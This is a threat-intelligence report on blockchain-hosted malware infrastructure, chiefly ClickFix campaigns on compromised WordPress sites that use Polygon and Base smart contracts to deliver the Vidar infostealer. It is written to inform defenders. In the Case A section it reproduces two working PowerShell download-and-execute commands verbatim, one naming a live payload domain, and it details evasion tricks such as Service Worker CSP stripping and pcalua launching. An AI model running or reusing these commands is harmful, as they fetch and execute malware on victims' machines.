Malware-On-The-Blockchain
Malware on the Blockchain:
How Attackers Build Infrastructure
That Can’t Be Taken Down
Published: August 2026
By: Shimi Cohen, Yaniv Goldman, Omer Davino, Idan Beit-Yosef and Hila David
Tags: Blockchain Malware, EtherHiding, ClickFix, On-Chain C2, ErrTraffic, Aeternum, Smart Contract C2, Takedown-Resistant Infrastructure, Threat Hunting, Threat Research
Threat actors are moving payloads, command-and-control, and even victim data onto public blockchains to resist takedown and to update their payloads on the fly. This report examines how they do it and the risks it creates, with ClickFix as the leading example, drawn from our own incident response and building on our earlier ShadowCaptcha research.
Executive Summary
Attackers have begun relocating parts of their infrastructure onto public blockchains, and it is becoming a systemic problem for defenders. A payload, a command-and-control (C2) Dead Drop Resolver, or a victim list no longer needs a server that can be seized or a domain that can be suspended. Instead it sits inside a smart contract on a public ledger, with no single point to take down. This technique is known as EtherHiding, and this report maps its use as a delivery backend, a C2 channel, a victim database, and skimming infrastructure.
Across multiple incident-response engagements, INDA investigated a financially motivated ClickFix campaign that compromises legitimate WordPress sites and ends in the Vidar infostealer. Working from our own incident data, we tracked the same technique used in two structurally different roles across two chains. On Polygon mainnet the contract is a resolver that returns only a pointer. On Base mainnet it is a full host that stores the payload itself, and the injection there also registers a malicious Service Worker: a background script that strips the site's Content-Security-Policy, re-injects the loader JavaScript on every page, and cloaks from logged-in administrators. We reconstructed those mechanics and detail them here. The framework is ErrTraffic, a ClickFix Malware-as-a-Service, and our incident matches the cluster Sekoia tracks as "Analytics." Where our findings overlap public reporting from Sekoia, Melted in Hex, PhishEye, and ThreatFox, we say so. The rest is our first-party analysis.
The scale is wide. Hunting across public scanning platforms surfaced close to 10,000 compromised sites worldwide, globally distributed across every sector, and a single ClearFake victim-tracking contract we read on-chain had logged more than 64,000 infections. The underlying techniques were first documented by others, and our survey of on-chain C2, victim-tracking, and skimming draws on their work, cited throughout. There is a hopeful side for defenders. Blockchain hardens one link in the chain and leaves the rest as exposed as any other campaign.
Technical Analysis
Key Findings
The same tradecraft appears in two structurally different roles across two chains. Public EtherHiding reporting has concentrated first on the BNB Smart Chain (from the technique's first public disclosure in 2023 through the 2025 nation-state reporting on North Korean use) and more recently on Polygon, where the ErrTraffic "Analytics" cluster is now well documented. The cases INDA investigated run on Polygon mainnet and Base mainnet, and they use the chain in two distinct ways. On Polygon the contract is a resolver: it returns only a pointer, which the loader follows to an off-chain traffic-distribution system. On Base, the same approach instead makes the contract a full host: it stores the second-stage JavaScript directly in contract state, and the loader reads it back and runs it in the browser. We treat these as the same tradecraft rather than the same operator: both are ClickFix compromises of WordPress sites that resolve their next stage on-chain, but we do not have hard evidence, such as a shared wallet, backdoor, or delivery host, tying the two contracts to one actor. This matters operationally. A SOC whose detection or blocklists are built around BNB or even Polygon specific RPC endpoints will not see the Base variant, because its RPC traffic goes to Base providers instead. Three separate EVM networks appear in this report and are easy to conflate: Base mainnet (chain 8453, where our host variant runs), Polygon mainnet (chain 137, our resolver), and the BNB Smart Chain and its testnet (where EtherHiding was first documented and where the ClearFake ledger in Case C runs). Because these chains are EVM-compatible, moving between them costs the operator almost nothing, a point we return to below.
The on-chain pointer is mutable in real time, and that works for and against the operator. Whatever the contract stores, a delivery domain, a full payload, or a victim record, the operator can change that stored value with a single transaction, and every compromised site pointing at that contract follows the new value at once. The attacker never has to touch the hundreds of hacked WordPress sites again to change where they point; re-pointing the whole campaign is one on-chain write. This is what makes the backend so resilient: there is no server to seize and no domain to block or take down to stop the contract from serving. Cleaning an individual compromised site still works, and matters: it cuts off new victims from that site. What it does not do is reach the on-chain contract or, in the Base variant, the Service Worker already registered in a visitor's browser, which is why remediation has to cover both the site and the endpoints that visited it. The same mutability is also a gift to defenders. Every one of those changes is a permanent, timestamped, publicly readable ledger entry, so the contract doubles as a complete history of the operator's infrastructure, months of delivery-host rotation reconstructable from public data alone, as we detail in Case A.
Attackers are shifting onto testnets, where the whole operation is free. A blockchain's testnet is a free practice network where the currency is worthless and writes cost nothing (the terms are defined in the next section). That makes it a zero-cost operating environment with no financial trail, and recent public reporting documents full C2 backends running on the BNB Smart Chain testnet for exactly this reason. It also creates a detection opportunity: an ordinary corporate endpoint has essentially no legitimate reason to query a test network.
A Service Worker is being used for browser-level persistence and CSP stripping. In our Base cases, the injected script registered a malicious Service Worker (nochain-sw.js). It persisted beyond the initial page and acted as a local proxy, intercepting the browser's own requests. It stripped the Content-Security-Policy header to neutralize a primary client-side defense. It re-injected the loader into the <head> of every subsequent page on the site. And it checked for WordPress session cookies, skipping injection for logged-in administrators so the owner would see a clean site. Service Workers are an established persistence and evasion tool in web-skimming (Magecart) campaigns. Here they sit inside an EtherHiding/ClickFix delivery chain, which materially lengthens the time a compromise survives before discovery.
The retrieval you can actually catch is not on the blockchain. When malware reads its payload from a contract, that read costs no gas, is not a transaction, and is never recorded on the ledger. It appears on the network only as ordinary HTTPS to public RPC nodes. In our Polygon case, that was a single browser tab contacting eight different Polygon RPC endpoints, across six independent providers, in seconds. That scattered querying, followed within seconds by a scripted shell, is the highest-value detection opportunity in the entire chain.
Anatomy of Blockchain Abuse
Start from the plain-language version. A blockchain is a shared digital ledger, a record of data and transactions, copied across thousands of independent computers worldwide with no central owner. Once something is written to it, it cannot be edited or deleted, and there is no company or server to serve with a takedown order. That single property is the entire reason attackers find it attractive: permanent, ownerless, un-seizable storage.
Two mechanics matter for what follows, both defined in the glossary below: writing data costs a fee ("gas"), and every chain has a free practice network (a "testnet") where that fee is zero. The testnet detail is not a theoretical concern. Because writes there are free, unlimited, and leave no financial trail, recent reporting has found malware command-and-control backends running entirely on a testnet.
One architectural fact explains why attackers move between chains so easily. BNB Smart Chain, Polygon, Base, Arbitrum, and Avalanche are all EVM-compatible: they run the same Ethereum Virtual Machine bytecode and answer the same eth_call requests. An operator can redeploy the exact same contract on another chain with no code changes, and the loader that reads it does not change either, only the RPC endpoints it talks to. For defenders, the implication is uncomfortable: coverage pinned to one chain does not slow the operator down, because switching chains costs them almost nothing.
Quick glossary
- •Blockchain — a shared, permanent digital ledger copied across many independent computers, with no owner and nothing that can be edited or deleted once written.
- •Mainnet — the real, production blockchain, where transactions cost real money.
- •Testnet — a blockchain's free practice network; writes cost nothing and leave no financial trail, which is why attackers use it.
- •Gas — the fee to write data on-chain; real money on mainnet, free on testnets.
- •Faucet — a service that hands out free testnet tokens.
- •Smart contract — a small program stored at an address on a blockchain, with its own storage. Attackers abuse that storage to hold a payload, a C2 pointer, a victim list, or stolen data.
- •RPC endpoint — an ordinary HTTPS URL used to read from or write to a blockchain. Malware's retrieval of an on-chain payload appears on your network as traffic to one of these. This is the primary thing defenders can see.
- •Wallet — the account that deploys and controls a contract. Its activity is public and permanent, which makes it a durable pivot for investigators.
- •EtherHiding — hiding a malicious payload or C2 pointer inside a smart contract.
The one idea that carries the rest of the report is the asymmetry between writes and reads. A write deploys a contract or updates a stored value: it is a signed transaction, costs gas, is broadcast to the whole network, and is permanently and publicly recorded. Attackers use writes to plant and update their content. A read is the malware retrieving that content: it is free, it is not a transaction, and it is never recorded on-chain, just an off-chain request to a node. So the attacker's plant is visible on the ledger, which gives investigators a pivot point, while the victim's retrieval is visible only on your network, which is the thing you actually detect. That retrieval travels over RPC (Remote Procedure Call) endpoints, ordinary HTTPS URLs run by public node operators (polygon-bor-rpc.publicnode[.]com, rpc.ankr[.]com, polygon.drpc[.]org, bsc-testnet[.]bnbchain[.]org, and many more). On the wire it is an HTTPS POST carrying a JSON-RPC body such as {"method":"eth_call","params":[{"to":"0x…","data":"0x…"}],…}. That RPC traffic is your primary observable, and the operator wallet that signs the writes is your durable pivot: one recovered contract lets you enumerate the wallet, its other contracts, and its funding.
Why On-Chain, and Its Limits
The draw is threefold. First, it is takedown-resistant. There is no central server to seize and no domain to block, because the "server" is a distributed public ledger. Second, it is centrally and cheaply updatable. One transaction re-points every compromised site at once, without ever touching those sites again. Third, its retrieval blends in. A query to a well-known public RPC endpoint looks like ordinary Web3 activity. On a testnet, add zero cost and no financial trail.
The limits matter just as much, because the "unstoppable, immutable, unkillable" framing around this technique is inaccurate. The payload storage is durable, but the operation is not immune. The compromised site can be cleaned. The RPC endpoints, TDS domains, and final-payload hosts are all conventional, disruptible infrastructure. The lure still has to fool a human. The payload still has to execute where an EDR is watching. Blockchain hardens one link and leaves the rest exposed. The right posture is to stop chasing the un-seizable link and instead instrument the many links that remain seizable.
Four Roles the Chain Plays
"Attackers use blockchain" collapses several distinct behaviors that leave different traces. It helps to think of the chain playing one of four roles. These map to the cases that follow.
- •Host — the payload itself lives in contract storage (EtherHiding proper). Our Base case.
- •Resolver — the chain returns only a pointer (a URL/domain) the malware then contacts. This is the Dead Drop Resolver (DDR) pattern. Our Polygon case, used for delivery; on-chain C2 is the same mechanism used by others for command-and-control.
- •Tracker — the chain records victims/telemetry (infection tracking). Our first-party read of a ClearFake victim-tracking contract on a testnet.
- •Drop box — stolen data is written into the chain. Rare; enabled by free testnet gas.
The same takedown-resistance argument motivates all four. The detections differ.
Case A: ClickFix on Polygon mainnet and Base mainnet
This is the activity we observed first-hand, from the compromised page to the final infostealer. The framework is ErrTraffic, a ClickFix Malware-as-a-Service (MaaS). Our incident matches the cluster Sekoia tracks as "Analytics," which resolves its delivery domain from a single Polygon contract and fetches its lure from a distinctive /cf.js endpoint. The Polygon and Base activity described here came from two separate cases, which is part of why we treat them as the same tradecraft rather than one confirmed operator. What follows is our own reconstruction: the Polygon resolver in detail, the Base-chain host variant and its Service Worker, and a Telegram dead-drop resolver used at several points in the chain.
How it arrives. Initial access was a compromised WordPress site in every case. The access vector appears to vary by victim. In our cases we assess, with reasonable confidence but without a single conclusive piece of evidence, that access came through exploitation of vulnerable WordPress plugins or themes. Sekoia, investigating the same "Analytics" cluster, documents a different vector on the victims they examined: valid administrator credentials harvested by an infostealer, used to install the session-manager.php MU-plugin backdoor instead of exploiting a vulnerability. That same backdoor does more than inject the loader. It also runs a separate server-side component (a hidden PHP script loaded through a user.ini auto_prepend_file directive, a mechanism Sekoia documented) that exfiltrates visitor cookies to an external collection domain. We recovered that collection domain, webanalytics-cdn[.]sbs, directly from the injected code in our own analysis. It is one that public reporting also ties to the ErrTraffic and ClickFix networks. So the compromised site is not only a delivery vehicle; it is also quietly harvesting its own visitors' cookies to attacker infrastructure, on a channel entirely separate from the on-chain delivery chain. Both are consistent with a MaaS operation whose affiliates use whatever access they have. The vector is best treated as victim-dependent, and varies by victim. Once in, the operator injected a small JavaScript loader. In the Polygon cases the loader was injected directly into the site's own pages, disguised to look like legitimate WordPress scripts and blending in beside the site's genuine, still-firing code. In the Base cases the injection also registered a malicious Service Worker, so persistence no longer depended on the original page markup surviving (detailed under the Base variant below). The victim is not initially asked to download anything. They visit a legitimate site they trust, and the loader runs in their browser on page load.
What it does, Polygon variant (chain as resolver). Here the contract never holds the payload. It holds only a pointer, and the chain's job is to hand that pointer to the loader in a way that cannot be sinkholed. The loader queried a smart contract through a rotating fan-out of public Polygon RPC endpoints. In our detonation, eight endpoints across six providers were contacted: polygon.drpc[.]org, polygon-bor-rpc.publicnode[.]com, polygon.lava[.]build, polygon-public.nodies[.]app, polygon-pokt.nodies[.]app, polygon.gateway.tenderly[.]co, gateway.tenderly[.]co/public/polygon, and rpc.ankr[.]com/polygon. A ninth endpoint present in the loader's code, polygon.rpc.subquery[.]network, did not fire during our run. The contract returned a pointer. It resolved to a traffic-distribution system (TDS), veralok[.]click at the time of our analysis and one of a rotating set. The TDS fingerprinted the visitor, pulled per-campaign configuration (veralok[.]click/api/?a=tds_cfg), fetched the lure script from the cluster's distinctive /cf.js endpoint, and logged the pageview. It then served a counterfeit Cloudflare "unusual traffic" verification overlay (/landing/windows.html), down to a Cloudflare logo pulled from a public image host.
This resolver is not a set-and-forget artifact. On-chain, the contract received 166 owner-only update calls from a single controlling wallet over roughly five months, each one re-pointing the stored value that the loader reads back through the getter getURL() (selector 0x38bcdc1c). Reading the ledger ourselves made the update mechanism concrete: each rotation is a separate setURL() (selector 0x77343408) transaction from the operator's wallet to the contract, carrying zero value (it moves no funds), costing a small amount of gas, and writing the new delivery host directly into the transaction's input data. Every one is timestamped and permanent. The wallet does nothing else. Its entire history is a column of these updates, which is itself the operator's rotation schedule laid bare. The operators actively maintain their delivery pointer, re-aiming every downstream victim with a single cheap transaction and without ever touching the compromised sites again. Two external researchers independently reconstructed the same contract's rotation history from public ledger data: PhishEye and Melted in Hex. The latter traced roughly 127 distinct delivery hosts across 147 updates over four months and confirmed the contract was still live. We saw the operation from inside the incident. They reconstructed it from public ledger data. Both describe the same operation from opposite ends.
The stored pointer is not static, and this is the operationally important part. Across its update history the contract cycled through many short-lived resolver domains, each active for only a day or two before the operator re-pointed it. A victim who reads the contract during one window is handed a different domain than one reading it a day later, so the payload path a defender captures during analysis is stale almost immediately. This rotation is what makes single-domain blocklisting ineffective against the delivery layer, and it is why the detections later in this report key on the on-chain read and the execution sequence rather than on any one destination.
When the visitor followed the fake steps, the page copied this PowerShell command to their clipboard to paste into the Run dialog (shown verbatim. The domain appears live for command fidelity and is defanged elsewhere in this report):
powershell -NoP -w h -ep bypass -c "$b=New-Object UriBuilder('https','bapak178.org',443,'/f37546e8.exe');$f=$env:TEMP+'\u.exe';&('Invo'+'ke-Web'+'Request')($b.Uri) -OutFile $f -UseBasicParsing;$env:SEE_MASK_NOZONECHECKS=1;Start-Process $f -WindowStyle Hidden"
The tradecraft is in the details. -NoP -w h -ep bypass runs PowerShell with no profile, hidden, and with execution policy bypassed. The download cmdlet is assembled by concatenation, ('Invo'+'ke-Web'+'Request'), to defeat literal-string matching. SEE_MASK_NOZONECHECKS=1 suppresses the Mark-of-the-Web execution warning. Where the first-stage comes from varies by sample: Melted in Hex observed the command downloading its executable delivery from a host resolved off the Polygon contract, while in our detonation the command resolved its first-stage host from a Telegram dead-drop resolver(described below) before fetching the binary. Either way the loader saved the download as u.exe in %TEMP% and launched it hidden. That binary spawned a second hidden PowerShell stage resolving to Vidar, confirmed by its extracted malware configuration in our sandbox detonation. The stealer beaconed to pas[.]bikhoki[.]cc and pulled configuration and a follow-on script from mol[.]mesoptik[.]com and mool[.]mesoptik[.]com. It also dropped the legitimate VoidTools "Everything" utility to enumerate the disk quickly for wallets, seed phrases, and credential stores. Vidar is the payload we observed, and it is what Sekoia recorded this cluster distributing in April–May 2026. The cluster is not fixed to it, however. Melted in Hex observed a Go-based stealer delivered by the same contract in July 2026, so the final stage is best understood as a rotating choice the operator makes, not a stable identifier for the cluster.
Telegram as a recurring dead-drop resolver. Within the Polygon cluster we observed two variants of how the first stage is resolved, and we assess with reasonable confidence that both belong to the same "Analytics" activity. In the variant Melted in Hex documented, the clipboard command downloads its first-stage executable from a delivery host resolved off the Polygon contract, and only the later Go stealer reads Telegram, using the bio of a channel (t[.]me/r7t3at) as the dead-drop for its own C2 host. In the variant we observed, Telegram appears earlier and more often: the ClickFix command itself pulled its first-stage domain from a Telegram channel description, and later stages returned to Telegram to resolve fresh domains and decryption keys. The mechanism is identical in both, and identical to the on-chain resolver: the loader fetched a public Telegram channel page over HTTPS, used a regular expression to extract a token-prefixed string from the channel's description, built a URL from it, and executed the result in memory. So the on-chain contract and the Telegram channel play the same architectural role, each an owner-controlled pointer the malware resolves at runtime, and different samples in this cluster lean on one or the other at different points.
powershell -w h -nop -ep b -c "[Net.ServicePointManager]::SecurityProtocol=3072;$null=(irm 'https://t.me/<channel>')-match'ion[^>]*>(\S+)\s';iex(irm('https://'+$matches[1]+'/dc.dat?z=1'))"
In the variant we observed, the channel description held a domain plus a token, and at the first stage the loader parsed the domain out of the page and pulled its first payload from it. Later stages returned to Telegram more than once, reading a channel description again to fetch a further domain and a decryption keys for the malware's encrypted configurations, and again to resolve the host for a subsequent payload. None of this is a new technique. Using a public service's profile or channel text as a dead-drop resolver is catalogued as MITRE ATT&CK T1102.001, and Melted in Hex documented the Telegram dead-drop for this same ErrTraffic "Analytics" cluster in July 2026, in their case as the C2 resolver for the final Go stealer, with the channel bio holding the stealer's C2 host. We include it because the mechanics are worth stating plainly: the channel description is being used exactly as the smart contract is, as owner-controlled storage for a pointer the malware resolves at runtime, updatable without touching the malware. It is the same dead-drop-resolver pattern the Polygon contract implements, staged on a second medium and reused at several points in the chain. An operator re-points either by editing one channel description or by sending one on-chain transaction, and every downstream victim follows the new pointer.
What it does, Base variant (chain as host). This is the structural counterpart to the Polygon resolver. Rather than returning a pointer, the Base contract is the payload store. The loader imported an Ethereum JavaScript library (ethers.js, pulled from public CDNs), connected to public Base RPC nodes, and read the contract's stored scripts directly. It then executed each one in the browser inside a dynamically built function, so nothing about the payload ever touched a conventional web server. Reading the contract's state first-hand showed how the payload is organized: it holds several stored scripts, and the two that matter are named Analytics, which performs the encrypted victim profiling, and Content Loader, which fetches the lure page from the contract and renders it. The loader also handles payloads too large for a single slot. When the stored content is flagged as a reassembly blob, the loader pulls numbered fragments from other slots, concatenates them, and gzip-inflates the result in the browser; a second, custom byte-encoding (a per-index subtraction followed by a reversal) is decoded the same way. Both are there to keep the payload out of any single readable field and to defeat naive string matching. On-chain analysis confirmed the contract was deployed roughly two months before our analysis and is actively maintained. A single controlling owner wallet issued 81 owner-only management calls over about eight weeks, repeatedly updating the active payload instead of setting it once. The payload is not merely stored on-chain. It is maintained in place as the operators rotate their second stage. The contract even carries a remote kill switch: a stored command that, when set, makes every infected browser unregister the Service Worker and purge its caches, letting the operator switch the whole campaign off on demand.
Persistence in the Base variant is the part most worth detailing. The injection registered a malicious Service Worker, nochain-sw.js, in the visitor's browser. A Service Worker is a background script the browser keeps running independently of any open page, so once registered it survives navigation away from the initial page. This one did three things. It stripped the site's Content-Security-Policy header, neutralizing a primary client-side defense that would otherwise block the injected code. It re-injected the loader into every subsequent page the visitor loaded on the site, so a single visit re-armed the whole browsing session. And it checked for WordPress session cookies and skipped injection for logged-in administrators, so the site owner would see a clean page and be less likely to notice the compromise. The overlay it eventually renders is built to resist both inspection and removal. It loads inside a closed Shadow DOM and is promoted with the browser's own top-layer popover API, which keeps it above page content and awkward to reach from the console. A white cover element paints over the page while the payload loads, hiding the fetch. And a MutationObserver re-inserts the overlay if anything removes it from the DOM. Service Workers are an established persistence and evasion tool in web-skimming (Magecart) work. What we document here is their use inside this EtherHiding/ClickFix delivery chain, which we assess materially lengthens the time a compromise survives before discovery.
Before showing the lure, a profiling script collected the visitor's browser, OS, device form factor, coarse geolocation (from language and time zone), and the compromised site's hostname. It then encrypted that JSON with an ECDH key exchange and AES-GCM before exfiltrating it over a POST to a /collect endpoint, defeating simple content inspection. The same encrypted beacon fires again when the lure is actually shown, tagged with a show event, so the operator gets both a reach count and a conversion count. To keep the lure from becoming conspicuous, the loader rate-limits it per victim, showing it at most once a day by default and recording the last-shown time in the browser's local storage. Those collection servers rotated over time, the same re-pointable pattern seen elsewhere in the operation. The lure itself differed from the Polygon variant: where Polygon served a counterfeit Cloudflare page, the Base variant hijacked the page with a fake Google reCAPTCHA "unusual traffic" overlay. This is not a different toolkit. LevelBlue documents that the framework carries a configurable mode variable, defaulting to cloudflare and switchable server-side to reCAPTCHA, BSOD, browser-update, and other lure themes, each mapped to a different landing script. The two overlays we saw are two settings of one operation, not two operations, which is worth stating because a defender who keys detection to "the Cloudflare lure" will miss the same campaign the day it serves reCAPTCHA instead. When the visitor clicked the fake "I'm not a robot" checkbox, the page copied a command to the clipboard built around the Program Compatibility Assistant (pcalua.exe) as a launcher. The observed command chained pcalua into PowerShell, then cmd, then mshta.exe, with the mshta string and URL broken up by caret escapes (m^s^h^t^a h^t^t^p^s...) to defeat literal-string matching, fetching the final stage from an attacker host. The reason to route through pcalua at all is evasion, and the mechanics matter. pcalua.exe is a signed, legitimate Windows binary (a LOLBIN), and when it launches the next stage it inserts itself as the parent process, breaking the parent-child lineage that endpoint tools rely on. Instead of a clean chain from the browser to PowerShell to mshta, the telemetry shows pcalua as the parent, which can fragment the process tree and cause detections that key on process ancestry to fire inconsistently, or not at all. In our own testing against endpoint tooling the full chain sometimes reconstructed and sometimes did not, which is exactly the unreliability the technique is designed to produce. The pcalua launcher is not unique to this operation. It has become a broadly used ClickFix technique through 2026, documented by Unit 42, CyberProof, and Huntress in variants that route through WebDAV/rundll32 or mshta. What is specific to our Base variant is the pairing of that launcher with mshta, caret obfuscation, and an on-chain payload. The launcher itself is worth hunting precisely because it now spans several unrelated ClickFix operations.
Stated plainly, the two chains run: Polygon, compromised site → WordPress-native-looking loader → Polygon RPC fan-out → on-chain pointer → veralok[.]click TDS → fake Cloudflare overlay → clipboard PowerShell → first stage (host resolved either off the contract or, in the variant we saw, from a Telegram channel description) → u.exe → hidden PowerShell → Vidar. Base, compromised site → Service Worker (cookie-checked admin cloak, CSP strip, per-page re-inject) → Base RPC → on-chain payload → encrypted profiling to a rotating /collect endpoint → fake reCAPTCHA overlay → clipboard pcalua→PowerShell→cmd→mshta (caret-obfuscated) → final stage.
The table below contrasts how this delivery tradecraft manifests across the three chains it has been seen on. The BNB column reflects other vendors' public reporting on EtherHiding generally; the Polygon column is our first-party view of the documented "Analytics" cluster; the Base column is our first-party analysis of the variant catalogued on ThreatFox.
| Operational dimension | BNB Smart Chain (public reporting) | Polygon mainnet (INDA) | Base mainnet (INDA) |
|---|---|---|---|
| Primary chain role | Host or dead-drop resolver | Resolver (pointer only) | Full on-chain host |
| Retrieved artifact | C2 domain or encrypted JS fragment | Short pointer to a dynamic TDS (veralok[.]click) |
Complete second-stage loader logic |
| Loader disguise | Direct page-markup injection | Injected into the site's own pages as fake WordPress scripts | Injection plus a malicious Service Worker (nochain-sw.js) |
| Browser persistence | None dedicated (relies on page markup) | None dedicated observed | Service Worker: CSP stripping, per-page re-injection, admin cloaking |
| Execution path | Conventional payload host / dropper | Cloudflare lure → clipboard PowerShell → u.exe → Vidar |
reCAPTCHA lure → clipboard pcalua→PowerShell→cmd→mshta (caret-obfuscated) |
| Chain coverage | Covered by existing BNB-focused RPC detections | Blind spot if monitoring focuses only on BNB | Needs Base RPC coverage plus browser Service-Worker registration telemetry |
The row that should worry a SOC most is the last one. Moving down the BNB column, existing coverage holds. Moving right into the Polygon and Base columns, that same coverage sees nothing, and the Base variant additionally needs an endpoint signal (the Service Worker registration) that network monitoring alone will not provide. The same tradecraft, moved one chain over, is enough to slip past coverage pinned to a single chain.
None of what we describe in this case is claimed as a first. The Polygon "Analytics" cluster is well documented by Sekoia, LevelBlue, Hudson Rock, and Melted in Hex, and our incident data confirms it down to the resolver contract and getURL() selector. The Base delivery endpoint is catalogued on ThreatFox. Full-payload on-chain hosting is documented on the BNB testnet by Trend Micro for ClearFake. And the Telegram dead-drop is a known technique (MITRE T1102.001) that Melted in Hex recorded for this same cluster. What we add is depth and connective tissue: the same tradecraft mapped across two chains and two roles, read from first-hand incident response rather than from the ledger alone.
Case B: Blockchain as Command and Control
Cases B through D walk through patterns documented by other vendors, cited inline, to place our first-party Case A in context. Case C also carries a first-party element, our own read of a victim-tracking contract. Where we add a first-party observation it is marked as ours. Otherwise the material is others' reporting.
Beyond staging a single payload, attackers use the chain to run an ongoing C2 channel. The industry maps this DDR pattern to MITRE T1102.001 (Web Service: Dead Drop Resolver). There are two on-chain storage models, and they leave different traces. The first is the contract-storage model, seen in the broader ClearFake/UNC5142 activity documented by Google's Threat Intelligence Group and Mandiant. The operator writes the current value into contract state via an owner-only function, and victims read it back via a public getter. In the simplest form that value is a C2 pointer (a domain the malware then contacts off-chain), but the same model can hold the command or configuration itself: in the Aeternum loader analysed by Unit 42 and Ctrl-Alt-Intel, the contract stores the encrypted C2 command that the malware reads and acts on directly, so the smart contract is not just resolving where to go but carrying what to do. Other vendors have observed operators rotating the stored value on tight cycles, roughly every ten minutes in one published analysis. A useful structural contrast separates the two dominant ClickFix frameworks. ErrTraffic (the framework in our Case A), as LevelBlue and Sekoia describe it, reads a single Polygon contract via one getURL() call (method selector 0x38bcdc1c). ClearFake, as Trend Micro documents it, instead chains multiple BNB-testnet contracts: a dispatcher, OS-specific payload contracts, and a separate contract that tracks victims by UUID and IP. The victim-tracking contract in our Case C is that ClearFake tracker, so our first-party cases actually touch both frameworks: ErrTraffic for delivery on Polygon and Base, ClearFake for the on-chain victim ledger. The second storage model is the transaction-history model, documented publicly for North Korea's UNC5342. The pointer is written into the input data of transactions sent to a burn address and read back from the ledger's history. It is a purer dead-drop resolver.
This has genuine lineage. The clearest precedent is the Glupteba botnet, disrupted by Google in 2021, which embedded backup C2 domains in the Bitcoin blockchain. Infected hosts scanned transactions from hard-coded wallet addresses and decrypted a new C2 domain from the transaction's OP_RETURN field using AES-256-GCM. That gave the operators a takedown-resistant fallback, as Google's Threat Analysis Group documented when it disrupted the operation. Earlier malware families experimented with similar Bitcoin-based fallback channels. The key distinction from today's activity is scope. Those cases used the chain only to distribute a backup C2 domain. The smart-contract era makes the chain the primary delivery and configuration backend, holding runnable code and full configuration, updatable in one cheap transaction. The technique has since spread across actors and chains. Financially motivated crews, a nation-state, and commodity stealer operators have all adopted it, on BNB, Ethereum, Polygon, Base, and others in newer reporting. A recent concrete example on Ethereum is the operation eSentire documented in 2026, in which an "EtherRAT" component resolved its C2 by reading an Ethereum smart contract through an eth_call fanned out across several public RPC providers. It is the same on-chain-C2 primitive on a different chain, this time in an unrelated, hands-on-keyboard intrusion rather than a MaaS distribution operation like the one in Case A. We return to EtherRAT and its kind under the native-loader model below. The move onto Polygon specifically is now documented by several vendors, consistent with what we observed on Polygon and Base, including cases tying Polygon EtherHiding to the DeadLock ransomware group and to a Polygon-resolved macOS implant.
Separately, in unrelated hunting we identified a second Polygon contract whose stored value was not a delivery pointer but a live command-and-control endpoint: the URL of an /api/ingest path on a serverless-hosted panel, its login page openly branded "Command & Control." The contract was deployed by a wallet distinct from the delivery operators in this report, and we did not observe it in the ClickFix/Vidar chain. We assess it as on-chain C2 infrastructure (the contract-storage model in Case B, used to hold a C2 ingest endpoint rather than a payload pointer). We have not observed victim traffic reaching the panel, so we treat it as suspected, not confirmed. We include it because it shows the same primitive, an owner-updatable contract holding a network address, serving a different role in a different operation.
Browser loaders versus native loaders. Everything in our Case A runs in a browser: a compromised site injects JavaScript that performs the on-chain read on page load. That is not the only shape this takes, and for detection the difference matters. A growing set of families are compiled programs, an EXE, a DLL, a Node.js or Python build, that perform the same read-only eth_call from their own process, decrypt a C2 pointer or command in memory, and beacon, with no browser and often no compromised website at all. The clearest current example is Aeternum, the native C++ botnet loader analysed by Unit 42, Qrator, and Ctrl-Alt-Intel and attributed to the same LenAI developer behind ErrTraffic. It reads an encrypted command from a Polygon contract via the getDomain() selector 0xb68d1809, decrypts it locally, and is re-pointed by the operator through an admin-only updateDomain() call, the same read-cheap, write-controlled pattern as our Case A resolver, but driven by a compiled binary instead of a script in a tab. Others fit the same mould: EtherRAT, a Node.js backdoor that eSentire and Sysdig link to North Korean tradecraft, reads its C2 from an Ethereum contract, rotates it with a setString call, and queries several public RPC providers in parallel, choosing the most common answer. DPRK's JADESNOW/INVISIBLEFERRET chain, documented by Google's Threat Intelligence Group, fetches compiled backdoors from BNB Smart Chain and Ethereum the same way. The practical consequence is a detection blind spot: a rule that only watches browsers talking to RPC endpoints will miss every one of these. The table below summarizes the split.
| Browser loader (our Case A) | Native / compiled loader | |
|---|---|---|
| What reads the contract | Injected JavaScript in the victim's browser | A compiled EXE/DLL/Node/Python process |
| Typical entry | Compromised WordPress site + ClickFix lure | Trojanized installer, fake interview/app, supply chain |
| Example | ErrTraffic "Analytics" (Polygon/Base) | Aeternum, EtherRAT, JADESNOW/INVISIBLEFERRET |
| On-chain read | eth_call getter (e.g. getURL() 0x38bcdc1c) |
eth_call getter (e.g. getDomain() 0xb68d1809) |
| Rotation (owner-only write) | operator panel updates the stored URL | updateDomain() 0xb249cd2d / setString |
| RPC traffic originates from | the browser process | any process, spoofing a browser User-Agent |
| Detection anchor | browser → RPC fan-out | any process → RPC fan-out; process ancestry |
The row that matters most is the last one. On the browser side the RPC fan-out comes from a browser, which narrows the hunt. On the native side it comes from an arbitrary process that frequently sets a browser-like User-Agent to blend in, so detection has to key on the pattern (one host contacting several RPC providers on a timer) and on process lineage, not on the process being a browser.
Case C: On-Chain Victim Tracking
A subtler abuse uses the contract as a database of victims. Public analysis of the Acreed infostealer (binaryanalys.is) describes an operator using the BNB Smart Chain testnet for both initial payload delivery and victim tracking via EtherHiding. The operator then pivots to a conventional encrypted HTTP channel for post-exploitation tasking. The on-chain layer provides takedown-resistant delivery and a running record of confirmed infections. The off-chain layer provides granular control. Reporting on ClearFake activity similarly describes on-chain execution trackers that confirm each victim compromise in real time. The mechanism generally exposes functions to add a victim identifier, check whether one is already present to avoid re-showing the lure, and remove it. Those writes are public and permanent, so the tracking contract's transaction history doubles as an infection ledger that defenders and researchers can read.
On-chain telemetry cuts both ways. It gives the attacker resilient, serverless victim tracking. But it hands defenders a public infection odometer and an intelligence source, since every tracking transaction's decoded argument may contain victim data. We saw the commodity-stealer analogue of this in our own Polygon case. The Vidar stage transmitted a compact victim fingerprint: a per-infection identifier concatenated with hardware ID, hostname, BIOS vendor, manufacturer, GPU, and username, base64-encoded into a request path. In that case the telemetry went to a conventional server. The on-chain variant writes the same category of data to a contract instead. Writing victim data on-chain is a permanent, irrevocable disclosure. It is a serious operational-security liability for the attacker, and a rare windfall for defenders and victim-notification efforts.
